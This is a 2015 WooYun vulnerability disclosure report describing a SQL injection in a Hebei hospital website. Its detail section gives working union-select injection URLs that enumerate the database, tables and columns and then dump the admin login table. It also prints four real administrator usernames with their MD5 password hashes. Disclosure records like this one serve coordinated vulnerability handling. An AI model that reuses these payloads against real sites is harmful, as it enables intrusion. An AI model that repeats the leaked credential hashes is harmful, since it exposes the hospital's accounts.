当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0159071

漏洞标题：河北医科大学第三医院存在SQL注入可获管理员密码

相关厂商：河北医科大学第三医院

漏洞作者： MapleStory

提交时间：2015-12-08 22:48

修复时间：2016-01-23 15:16

公开时间：2016-01-23 15:16

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-08： 细节已通知厂商并且等待厂商处理中
2015-12-11： 厂商已经确认，细节仅向厂商公开
2015-12-21： 细节向核心白帽子及相关领域专家公开
2015-12-31： 细节向普通白帽子公开
2016-01-10： 细节向实习白帽子公开
2016-01-23： 细节向公众公开

简要描述：

详细说明：

http://**.**.**.**/jiuzhen/index.php?id=19

存在注入
简单测试结果

Database error: Invalid SQL: select * from `sy_page` where 1 and `ID`=19 order by 12
MySQL Error: 1054 (Unknown column '12' in 'order clause')
Session halted.


union注入，得到数据库名：sanyuan
数据库版本：5.5.38
用户名：sanyuan@localhost

New1.png

New4.png

暴库、暴表、暴字段

http://**.**.**.**/jiuzhen/index.php?id=0%20UnIon%20sELect%201,2,3,4,5,concat(0x7B317D,grOup_Concat(dIstinct+table_name),0x7B317D),7,8,9,10,11+from+information_schema.columns+wHere+table_schema=0x73616E7975616E


New11.png


http://**.**.**.**/jiuzhen/index.php?id=0%20UnIon%20sELect%201,2,3,4,5,groUp_cOncat(column_name),7,8,9,10,11+from+information_schema.columns+where+table_name=0x73795F61646D696E

New14.png

http://**.**.**.**/jiuzhen/index.php?id=0%20UnIon%20sELect%201,2,3,4,5,groUp_cOncat(LoginName,0x5e,Password),7,8,9,10,11+from sy_admin


漏洞证明：

New15.png

New16.png


管理员用户名及MD5加密形式密码：
siyue^b3b9845b1b0ec8326afd321b7ed0d39e
admin888^6097d6ea21fafaf6d38a93f33c36169f
dmin^96a2329208662e533a55f765c5464532
sanyuan^12a3ace5f495c9544464526e00e663e3

修复方案：

- -

版权声明：转载请注明来源 MapleStory@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-11 15:45

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给河北分中心,由其后续协调网站管理单位处置.

最新状态：

暂无